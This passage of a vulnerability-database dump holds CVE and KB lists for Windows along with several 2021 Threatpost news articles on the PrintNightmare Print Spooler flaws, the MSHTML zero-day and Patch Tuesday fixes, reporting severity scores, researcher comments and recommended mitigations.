\n[CVE-2021-36974](<https://nvd.nist.gov/vuln/detail/CVE-2021-36974>) \n[CVE-2021-38629](<https://nvd.nist.gov/vuln/detail/CVE-2021-38629>) \n[CVE-2021-38639](<https://nvd.nist.gov/vuln/detail/CVE-2021-38639>) \n[CVE-2021-36966](<https://nvd.nist.gov/vuln/detail/CVE-2021-36966>) \n[CVE-2021-38667](<https://nvd.nist.gov/vuln/detail/CVE-2021-38667>) \n[CVE-2021-36965](<https://nvd.nist.gov/vuln/detail/CVE-2021-36965>) \n[CVE-2021-36963](<https://nvd.nist.gov/vuln/detail/CVE-2021-36963>) \n[CVE-2021-38624](<https://nvd.nist.gov/vuln/detail/CVE-2021-38624>) \n[CVE-2021-38661](<https://nvd.nist.gov/vuln/detail/CVE-2021-38661>) \n[CVE-2021-36954](<https://nvd.nist.gov/vuln/detail/CVE-2021-36954>) \n[CVE-2021-38633](<https://nvd.nist.gov/vuln/detail/CVE-2021-38633>) \n[CVE-2021-36975](<https://nvd.nist.gov/vuln/detail/CVE-2021-36975>) \n[CVE-2021-38637](<https://nvd.nist.gov/vuln/detail/CVE-2021-38637>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Windows](<https://threats.kaspersky.com/en/product/Microsoft-Windows/>)\n\n### *KB list*:\n[5005613](<http://support.microsoft.com/kb/5005613>) \n[5005568](<http://support.microsoft.com/kb/5005568>) \n[5005575](<http://support.microsoft.com/kb/5005575>) \n[5005627](<http://support.microsoft.com/kb/5005627>) \n[5005565](<http://support.microsoft.com/kb/5005565>) \n[5005623](<http://support.microsoft.com/kb/5005623>) \n[5005573](<http://support.microsoft.com/kb/5005573>) \n[5005569](<http://support.microsoft.com/kb/5005569>) \n[5005566](<http://support.microsoft.com/kb/5005566>) \n[5005607](<http://support.microsoft.com/kb/5005607>) \n[5006699](<http://support.microsoft.com/kb/5006699>) \n[5006672](<http://support.microsoft.com/kb/5006672>) \n[5006674](<http://support.microsoft.com/kb/5006674>) \n[5006670](<http://support.microsoft.com/kb/5006670>) \n[5006667](<http://support.microsoft.com/kb/5006667>)\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", 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The advisory comes on the heels of patching two other remote code-execution (RCE) bugs found in the print service that collectively became known as PrintNightmare.\n\nThe company released [the advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) late Thursday for the latest bug, a Windows Print Spooler elevation-of-privilege vulnerability tracked as [CVE-2021-34481](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34481>). Microsoft credited Dragos vulnerability researcher Jacob Baines for identifying the issue.\n\nThe vulnerability \u201cexists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to Microsoft.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAttackers who successfully exploit the bug can run arbitrary code with SYSTEM privileges, allowing them to install programs, view, change or delete data, or create new accounts with full user rights, the company said.\n\nTo work around the bug, administrators and users should stop and disable the Print Spooler service, Microsoft said.\n\n## **Slightly Less of a \u2018PrintNightmare\u2019**\n\nThe vulnerability is the latest in a flurry of problems discovered in Windows Print Spooler, but seems slightly less dangerous, as it can only be exploited locally. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, [Baines told BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-shares-guidance-on-new-windows-print-spooler-vulnerability/>) that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in [an upcoming presentation](<https://defcon.org/html/defcon-29/dc-29-speakers.html#baines>) at DEF CON in August.\n\nThe entire saga surrounding Windows Print Spooler [began Tuesday, June 30](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>), when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC [offered its own mitigation](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday [released an emergency cumulative patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>) for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527.\n\nHowever, that fix also [was incomplete](<https://www.kb.cert.org/vuls/id/383432>), and Microsoft continues to work on further remediations as it also works to patch this latest bug, CVE-2021-34481. In the meantime, affected customers should install the most recent Microsoft updates as well as use the workaround to avoid exploitation, the company said.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T11:57:53", "type": "threatpost", "title": "Microsoft: Unpatched Bug in Windows Print Spooler", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-16T11:57:53", "id": "THREATPOST:A8242348917526090B7A1B23735D5C6C", "href": "https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:49:18", "description": "One day after dropping its scheduled August Patch Tuesday update, Microsoft issued a warning about yet another unpatched privilege escalation/remote code-execution (RCE) vulnerability in the Windows Print Spooler that can be filed under the [PrintNightmare umbrella](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>).\n\nThe news comes amid plenty of PrintNightmare exploitation. Researchers from CrowdStrike warned in a [Wednesday report](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) that the operators of the Magniber ransomware quickly weaponized CVE-2021-34527 to attack users in South Korea, with attacks dating back to at least July 13. And Cisco Talos [said Thursday](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) that the Vice Society gang was seen using CVE-2021-1675 and CVE-2021-34527 to spread laterally across a victim\u2019s network as part of a recent ransomware attack.\n\n\u201cIn technology, almost nothing ages gracefully,\u201d Chris Clements, vice president of solutions architecture and Cerberus security officer at Cerberus Sentinel, told Threatpost. \u201cThe Print Spooler in Windows is proving that rule. It\u2019s likely that the code has changed little in the past decades and likely still bears a striking resemblance to source code that was made public in previous Windows leaks. I\u2019ve heard it said that ransomware gangs might also be referred to as \u2018technical debt collectors,\u2019 which would be funnier if the people suffering most from these vulnerabilities weren\u2019t Microsoft\u2019s customers.\u201d\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe fresh zero-day bug, tracked as CVE-2021-36958, carries a CVSS vulnerability-severity scale rating of 7.3, meaning that it\u2019s rated as \u201cimportant.\u201d Microsoft said that it allows for a local attack vector requiring user interaction, but that the attack complexity is low, with few privileges required.\n\n\u201cA remote code-execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d the computing giant explained in its [Wednesday advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>). \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change or delete data; or create new accounts with full user rights.\u201d\n\nThe CERT Coordination Center actually flagged the issue in mid-July, when it warned that a [working exploit](<https://twitter.com/gentilkiwi/status/1416429860566847490>) was available. That proof-of-concept (PoC), issued by Mimikatz creator Benjamin Delpy, comes complete with a video.\n\n> Hey guys, I reported the vulnerability in Dec'20 but haven't disclosed details at MSRC's request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nOn Thursday, CERT/CC issued more details on the issue, explaining that it arises from an oversight in signature requirements around the \u201cPoint and Print\u201d capability, which allows users without administrative privileges to install printer drivers that execute with SYSTEM privileges via the Print Spooler service.\n\nWhile Microsoft requires that printers installable via Point are either signed by a WHQL release signature or by a trusted certificate, Windows printer drivers can specify queue-specific files that are associated with the use of the device, which leaves a loophole for malicious actors.\n\n\u201cFor example, a shared printer can specify a CopyFiles directive for arbitrary files,\u201d according to the CERT/CC [advisory](<https://www.kb.cert.org/vuls/id/131152>). \u201cThese files, which may be copied over alongside the digital-signature-enforced printer driver files, are not covered by any signature requirement. Furthermore, these files can be used to overwrite any of the signature-verified files that were placed on a system during printer driver install. This can allow for local privilege escalation to SYSTEM on a vulnerable system.\u201d\n\nMicrosoft credited Victor Mata of FusionX at Accenture Security with originally reporting the issue, which Mata said occurred back in December 2020:\n\n> Hey guys, I reported the vulnerability in Dec\u201920 but haven\u2019t disclosed details at MSRC\u2019s request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nSo far, Microsoft hasn\u2019t seen any attacks in the wild using the bug, but it noted that exploitation is \u201cmore likely.\u201d With a working exploit in circulation, that seems a fair assessment.\n\n## **Print Spooler-Palooza and the PrintNightmare **\n\nDelpy characterized this latest zero-day as being part of the string of Print Spooler bugs collectively known as PrintNightmare.\n\nThe bad dream started in early July, when a PoC exploit for a bug tracked as CVE-2021-1675 was [dropped on GitHub](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>). The flaw was originally addressed in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) from Microsoft as a minor elevation-of-privilege vulnerability, but the PoC showed that it\u2019s actually a critical Windows security vulnerability that can be used for RCE. That prompted Microsoft to issue a different CVE number \u2013 in this case, CVE-2021-34527 \u2013 to designate the RCE variant, and it prompted [an emergency partial patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), too.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nBoth bugs \u2013 which are really just variants of a single issue \u2013 are collectively known as PrintNightmare. The PrintNightmare umbrella expanded a bit later in July, when yet another, [similar bug was disclosed](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>), tracked as CVE-2021-34481. It remained unpatched until it was finally addressed with [an update](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>) issued alongside the [August Patch Tuesday updates](<https://threatpost.com/exploited-windows-zero-day-patch/168539/>) (which itself detailed three additional Print Spooler vulnerabilities, one critical).\n\n## **How to Protect Systems from Print Spooler Attacks**\n\nAs mentioned, there\u2019s no patch yet for the bug, but users can protect themselves by simply stopping and disabling the Print Spooler service:\n\n![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/12073406/Windows-Zero-Day-Workaround.png)\n\nSource: Microsoft.\n\nCERT/CC also said that since public exploits for Print Spooler attacks use the SMB file-sharing service for remote connectivity to a malicious shared printer, blocking outbound connections to SMB resources would thwart some attacks by blocking malicious SMB printers that are hosted outside of the network.\n\n\u201cHowever, Microsoft indicates that printers can be shared via the Web Point-and-Print Protocol, which may allow installation of arbitrary printer drivers without relying on SMB traffic,\u201d according to CERT/CC. \u201cAlso, an attacker local to your network would be able to share a printer via SMB, which would be unaffected by any outbound SMB traffic rules.\u201d\n\nIn its update advisory for CVE-2021-34481, Microsoft also detailed how to amend the default Point and Print functionality, which prevents non-administrator users from installing or updating printer drivers remotely and which could help mitigate the latest zero-day.\n\n![Threatpost Webinar Series ](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/27093135/threatpost-webinar-300x51.jpg)Worried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T13:19:50", "type": "threatpost", "title": "Microsoft Warns: Another Unpatched PrintNightmare Zero-Day", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-08-12T13:19:50", "id": "THREATPOST:ADA9E95C8FD42722E783C74443148525", "href": "https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-16T18:44:44", "description": "In [September\u2019s Patch Tuesday](<https://msrc.microsoft.com/update-guide/vulnerability>) crop of security fixes, Microsoft released patches for 66 CVEs, three of which are rated critical, and one of which \u2013 the Windows MSHTML zero-day \u2013 has been under active attack for nearly two weeks.\n\nOne other bug is listed as publicly known but isn\u2019t (yet) being exploited. Immersive Labs\u2019 Kevin Breen, director of cyber threat research, observed that with only one CVE under active attack in the wild, it\u2019s \u201cquite a light Patch Tuesday\u201d \u2013 at least on the surface, that is.\n\nThe flaws were found in Microsoft Windows and Windows components, Microsoft Edge (Chromium, iOS, and Android), Azure, Office and Office Components, SharePoint Server, Microsoft Windows DNS and the Windows Subsystem for Linux.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nOf the 66 new CVEs patched today, three are rated critical, 62 are rated important, and one is rated moderate in severity.\n\nOver the past nine months of 2021, this is the seventh month in which Microsoft patched fewer than 100 CVEs, in stark contrast to 2020, when Redmond spent eight months gushing out more than 100 CVE patches per month. But while the overall number of vulnerabilities is lighter, the severity ratings have ticked up, as the [Zero Day Initiative](<https://www.zerodayinitiative.com/blog/2021/9/14/the-september-2021-security-update-review-kpgpb>) noted.\n\nSome observers pegged the top patching priority in this month\u2019s batch as being a fix for CVE-2021-40444: An important-rated vulnerability in Microsoft\u2019s MSHTML (Trident) engine that rates 8.8 out of 10 on the CVSS scale.\n\nDisclosed on Sept. 7, it\u2019s a painfully throbbing sore thumb, given that researchers developed a number of proof-of-concept (PoC) exploits showing how drop-dead simple it is to exploit, and attackers have been sharing guides on how to do just that.\n\n## Under Active Attack: CVE-2021-40444\n\nIt\u2019s been nearly two weeks since this serious, simple to exploit bug has been under active attack, and it\u2019s been nearly a week since attackers started to share blueprints on how to carry out an exploit.\n\nMicrosoft said last week that the flaw could let an attacker \u201ccraft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine,\u201d after which \u201cthe attacker would then have to convince the user to open the malicious document.\u201d Unfortunately, malicious macro attacks continue to be prevalent: In July, for example, legacy users of Microsoft Excel were being targeted in a malware campaign that used a [novel malware-obfuscation technique](<https://threatpost.com/microsoft-office-malware-protection-bypass/167652/>) to disable malicious macro warnings and deliver the ZLoader trojan.\n\nAn attacker would need to convince a user to open a specially crafted Microsoft Office document containing the exploit code.\n\nSatnam Narang, staff research engineer at Tenable, noted via email that there have been warnings that this vulnerability will be incorporated into malware payloads and used to distribute ransomware: A solid reason to put the patch at the top of your priority list.\n\n\u201cThere are no indications that this has happened yet, but with the patch now available, organizations should prioritize updating their systems as soon as possible,\u201d Narang told Threatpost.\n\nLast Wednesday, Sept. 8, [Kevin Beaumont](<https://twitter.com/GossiTheDog/status/1435515875025633282>) \u2013 head of the security operations center for U.K. fashion retailer Arcadia Group and a past senior threat intelligence analyst at Microsoft \u2013 [noted](<https://twitter.com/GossiTheDog/status/1435562870331293706>) that the exploit had been in the wild for about a week or more.\n\nIt got worse: Last Thursday, Sept. 9, threat actors began [sharing exploit how-tos](<https://www.bleepingcomputer.com/news/microsoft/windows-mshtml-zero-day-exploits-shared-on-hacking-forums/>) and PoCs for the Windows MSHTML zero-day. BleepingComputer gave it a try and found that the guides are \u201csimple to follow and [allow] anyone to create their own working version\u201d of the exploit, \u201cincluding a Python server to distribute the malicious documents and CAB files.\u201d\n\nIt took the publication all of 15 minutes to recreate the exploit.\n\nA week ago, on Tuesday, Sept. 7, Microsoft and the Cybersecurity and Infrastructure Security Agency (CISA) had [urged mitigations](<https://threatpost.com/microsoft-zero-day-rce-flaw-in-windows/169273/>) of the remote-code execution (RCE) flaw, which is found in all modern Windows operating systems.\n\nLast week, the company didn\u2019t say much about the bug in MSHTML, aka Trident, which is the HTML engine built into Windows since Internet Explorer debuted more than 20 years ago and which allows Windows to read and display HTML files.\n\nMicrosoft did say, however, that it was aware of targeted attacks trying to exploit it via specially crafted Microsoft Office documents.\n\nIn spite of there being no security updates available for the vulnerability at that time, MIcrosoft went ahead and disclosed it, along with mitigations meant to help prevent exploitation.\n\n## Mitigations That Don\u2019t Mitigate\n\nTracked as [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>), the flaw is serious enough that CISA sent its own advisory, alerting users and administrators and recommending that they use the mitigations and workarounds Microsoft recommended \u2013 mitigations that try to prevent exploitation by blocking ActiveX controls and Word/RTF document previews in Windows Explorer.\n\nEmphasis on \u201ctry to:\u201d Unfortunately, those mitigations proved to be less than foolproof, as researchers, including Beaumont, managed to [modify the exploit](<https://twitter.com/GossiTheDog/status/1435570418623070210>) so that it didn\u2019t use ActiveX, [effectively skirting Microsoft\u2019s mitigations](<https://www.bleepingcomputer.com/news/microsoft/windows-mshtml-zero-day-defenses-bypassed-as-new-info-emerges/>).\n\nThe Zero Day Initiative [said that](<https://www.zerodayinitiative.com/blog/2021/9/14/the-september-2021-security-update-review-kpgpb>) for now, the most-effective defense is \u201cto apply the patch and avoid Office docs you aren\u2019t expecting to receive.\u201d\n\nBe sure to carefully review and install [all the needed patches](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) for your setup: There\u2019s a long list of updates for specific platforms, and it\u2019s important not to slather on too thin a layer of protection.\n\nCredit for finding this bug goes to Rick Cole of MSTIC; Bryce Abdo, Dhanesh Kizhakkinan and Genwei Jiang, all from Mandiant; and Haifei Li of EXPMON.\n\n## Baddest Bug Award\n\nThe award for baddest bug \u2013 or at least, the one with the highest severity rating, with a CVSS score of 9.8 \u2013 goes to [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>): a critical remote-code execution (RCE) vulnerability in Open Management Infrastructure.\n\n[OMI is an open-source project](<https://github.com/microsoft/omi>) to further the development of a production-quality implementation of the [DMTF CIM/WBEM](<https://www.dmtf.org/standards/cim>) standards.\n\n\u201cThis vulnerability requires no user interaction or privileges, so an attacker can run their code on an affected system just by sending a specially crafted message to an affected system,\u201d the Zero Day Initiatve explained. That makes it high priority: ZDI recommended that OMI users test and deploy this one quickly.\n\n## Yet More PrintNightmare Patches\n\nMicrosoft also patched three elevation of privilege vulnerabilities in Windows Print Spooler ([CVE-2021-38667](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38667>), [CVE-2021-38671](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38671>) and [CVE-2021-40447](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40447>)), all rated important.\n\nThese are the three latest fixes in a steady [stream](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) of [patches](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) for flaws in Windows Print Spooler that followed the [disclosure of PrintNightmare](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>) in June. This probably won\u2019t be the last patch in that parade: Tenable\u2019s Narang told Threatpost that \u201cresearchers continue to discover ways to exploit Print Spooler\u201d and that the firm expects \u201ccontinued research in this area.\u201d\n\nOnly one \u2013 CVE-2021-38671 \u2013 of today\u2019s patch trio is rated as \u201cexploitation more likely.\u201d Regardless, organizations should prioritize patching these flaws as \u201cthey are extremely valuable to attackers in post-exploitation scenarios,\u201d Narang observed.\n\n## More \u2018Exploitation More Likely\u2019\n\nImmersive\u2019s Breen told Threatpost that a trio of local privilege-escalation vulnerabilities in the Windows Common Log File System Driver ([CVE-2021-36955](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36955>), [CVE-2021-36963](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36963>), [CVE-2021-38633](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38633>)) are also noteworthy, all of them being listed as \u201cexploitation more likely.\u201d\n\n\u201cLocal priv-esc vulnerabilities are a key component of almost every successful cyberattack, especially for the likes of ransomware operators who abuse this kind of exploit to gain the highest level of access,\u201d Breen said via email. \u201cThis allows them to disable antivirus, delete backups and ensure their encryptors can reach even the most sensitive of files.\u201d\n\nOne glaring example of that emerged in May, when hundreds of millions of [Dell users were found to be at risk](<https://threatpost.com/dell-kernel-privilege-bugs/165843/>) from kernel-privilege bugs. The bugs lurked undisclosed for 12 years, and could have allowed attackers to bypass security products, execute code and pivot to other parts of the network for lateral movement.\n\nThe three exploits Microsoft patched on Tuesday aren\u2019t remote, meaning that attackers need to have achieved code execution by other means. One such way would be via CVE-2021-40444.\n\nTwo other vulnerabilities \u2013 [CVE-2021-38639](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38639>) and [CVE-2021-36975](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36975>), both Win32k escalation of privilege flaws \u2013 have also been listed as \u201cexploitation more likely\u201d and, together, cover the full range of supported Windows versions.\n\nBreen said that he\u2019s starting to feel like a broken record when it comes to privilege escalation vulnerabilities. They\u2019re not rated as high a severity risk as RCE bugs, but \u201cthese local exploits can be the linchpin in the post-exploitation phases of an experienced attacker,\u201d he asserted. \u201cIf you can block them here you have the potential to significantly limit their damage.\u201d\n\nhe added, \u201cIf we assume a determined attacker will be able to infect a victim\u2019s device through social engineering or other techniques, I would argue that patching priv-esc vulnerabilities is even more important than patching some other remote code-execution vulns,\u201d Breen said.\n\n## Still, This RCE Is Pretty Important\n\nDanny Kim, a principal architect at Virsec who spent time at Microsoft during his graduate work on the OS security development team, wants security teams to pay attention to [CVE-2021-36965](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36965>) \u2013 an important-rated Windows WLAN AutoConfig Service RCE vulnerability \u2013 given its combination of severity (with a CVSS:3.0 base score of 8.8); no requirement for privilege escalation/user interaction to exploit; and breadth of affected Windows versions.\n\nThe WLAN AutoConfig Service is part of the mechanism that Windows 10 uses to choose the wireless network a computer will connect to, and to the Windows Scripting Engine, respectively.\n\nThe patch fixes a flaw that could allow network-adjacent attackers to run their code on affected systems at system level.\n\nAs the Zero Day Initiative explained, that means an attacker could \u201ccompletely take over the target \u2013 provided they are on an adjacent network.\u201d That would come in quite handy in a [coffee-shop attack](<https://threatpost.com/microsoft-wi-fi-protection/145053/>), where multiple people use an unsecured Wi-Fi network.\n\nThis one \u201cis especially alarming,\u201d Kim said: Think [SolarWinds](<https://threatpost.com/solarwinds-default-password-access-sales/162327/>) and PrintNightmare.\n\n\u201cAs recent trends have shown, remote code execution-based attacks are the most critical vulnerabilities that can lead to the largest negative impact on an enterprise, as we have seen in the Solarwinds and PrintNightmare attacks,\u201d he said in an email.\n\nKim said that in spite of the exploit code maturity being currently unproven, the vulnerability has been confirmed to exist, leaving an opening for attackers.\n\n\u201cIt specifically relies on the attacker being located in the same network, so it would not be surprising to see this vulnerability used in combination with another CVE/attack to achieve an attacker\u2019s end goal,\u201d he predicted. \u201cRemote code execution attacks can lead to unverified processes running on the server workload, only highlighting the need for constant, deterministic runtime monitoring. Without this protection in place, RCE attacks can lead to a total loss of confidentiality and integrity of an enterprise\u2019s data.\u201d\n\nThe Zero Day Initiative also found this one alarming. Even though it requires proximity to a target, it requires no privileges or user interaction, so \u201cdon\u2019t let the adjacent aspect of this bug diminish the severity,\u201d it said. \u201cDefinitely test and deploy this patch quickly.\u201d\n\n## And Don\u2019t Forget to Patch Chrome\n\nBreen told Threatpost via email that security teams should also pay attention to 25 vulnerabilities patched in Chrome and ported over to Microsoft\u2019s Chromium-based Edge.\n\nBrowsers are, after all, windows into things both private, sensitive and valuable to criminals, he said.\n\n\u201cI cannot underestimate the importance of patching your browsers and keeping them up to date,\u201d he stressed. \u201cAfter all, browsers are the way we interact with the internet and web-based services that contain all sorts of highly sensitive, valuable and private information. Whether you\u2019re thinking about your online banking or the data collected and stored by your organization\u2019s web apps, they could all be exposed by attacks that exploit the browser.\u201d\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on September 22 at 2 PM EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {}, "published": "2021-09-14T20:29:14", "type": "threatpost", "title": "Microsoft Patches Actively Exploited Windows Zero-Day", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-36955", "CVE-2021-36963", "CVE-2021-36965", "CVE-2021-36975", "CVE-2021-38633", "CVE-2021-38639", "CVE-2021-38647", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40444", "CVE-2021-40447"], "modified": "2021-09-14T20:29:14", "id": "THREATPOST:6D61C560E85ECD0A7A35C55E74849510", "href": "https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-08-11T19:56:07", "description": "Microsoft has patched 51 security vulnerabilities in its scheduled August Patch Tuesday update, including seven critical bugs, two issues that were publicly disclosed but unpatched until now, and one that\u2019s listed as a zero-day that has been exploited in the wild.\n\nOf note, there are 17 elevation-of-privilege (EoP) vulnerabilities, 13 remote code-execution (RCE) issues, eight information-disclosure flaws and two denial-of-service (DoS) bugs.\n\nThe update also includes patches for three more Print Spooler bugs, familiar from the PrintNightmare saga.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/>)\n\n\u201cFortunately, it was a lighter month than usual,\u201d said Eric Feldman, senior product marketing manager at Automox, in a [Patch Tuesday analysis](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>) from the vendor. \u201cThis 